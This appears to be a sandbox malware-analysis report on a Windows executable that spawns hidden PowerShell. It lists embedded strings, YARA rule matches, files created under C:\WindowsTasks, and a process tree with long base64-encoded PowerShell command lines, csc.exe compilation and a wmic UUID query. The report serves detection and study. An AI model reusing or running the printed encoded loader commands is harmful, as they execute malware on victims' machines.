Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2046#section-5.1
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#idna
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#port-state
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#special-scheme
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://v8.dev/docs/stack-trace-api#stack-trace-collection-for-custom-exceptions.
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/FileAPI/
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://w3c.github.io/permissions/#permission-descriptor
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://w3c.github.io/permissions/#permission-registry
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://w3c.github.io/permissions/#permissionstatus
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://w3c.github.io/permissions/#status-of-a-permission
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://w3c.github.io/user-timing)
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://wicg.github.io/import-maps/
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1623256008.00000222F2149000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000002.1625586596.00000222F214D000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1620141581.00000222F2140000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1620244346.00000222F2148000.00000004.00000020.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1624821721.00000222F214B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: https://www.npmjs.com/package/tslib).
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621237256.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rapidtables.com/convert/color/hsl-to-rgb.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 1228, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6688, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	File created: C:\WindowsTasks	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	File created: C:\WindowsTasks\Updates	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	File created: C:\WindowsTasks\Platform	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC48D77C		8_2_00007FFAAC48D77C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC48D805		8_2_00007FFAAC48D805

Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1253630477.00007FF7F613C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameEsqueleSquad.exeD vs dGhlYXB0Z3JvdXA=-free.exe
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: originalTextSpanoriginalFileNamecontextSpanoriginalContextSpanprefixTextsuffixTextstruct RenameLocationstruct RenameLocation with 8 elements vs dGhlYXB0Z3JvdXA=-free.exe
Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: originalTextSpanoriginalFileNamecontextSpanoriginalContextSpanprefixTextsuffixTextstruct RenameLocationstruct RenameLocation with 8 elements_ vs dGhlYXB0Z3JvdXA=-free.exe

Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: Commandline size = 3421
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: Commandline size = 3421
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: Commandline size = 3421	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: Commandline size = 3421	Jump to behavior

Source: Process Memory Space: powershell.exe PID: 1228, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6688, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal72.expl.evad.winEXE@16/18@2/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5264:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zzprrhrp.1az.ps1

Jump to behavior

Source: dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp

Memory string: rustls::msgs::handshakeIllegal SNI hostname received

Source: dGhlYXB0Z3JvdXA=-free.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: deno test src/v8-flags-help
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: Examples: https://github.com/WICG/import-maps#the-import-mapSet V8 command line options (for help: --v8-flags=--help)Watch for file changes and restart process automaticallyWatch for file changes and restart process automatically.
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: Examples: https://github.com/WICG/import-maps#the-import-mapSet V8 command line options (for help: --v8-flags=--help)Watch for file changes and restart process automaticallyWatch for file changes and restart process automatically.
Source: dGhlYXB0Z3JvdXA=-free.exe	String found in binary or memory: Multi-address mappings are not yet supported

Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe

File read: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe "C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe"
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAY
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESDB22.tmp" "c:\Users\user\AppData\Local\Temp\5fgy3psv\CSC49606E82A61741509EEE37EB8248328C.TMP"
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAY
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES13F5.tmp" "c:\Users\user\AppData\Local\Temp\3oofqhq2\CSC76E89C1DFE954A0B872EAE18016ED95.TMP"
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" csproduct get uuid /value
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAY	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVw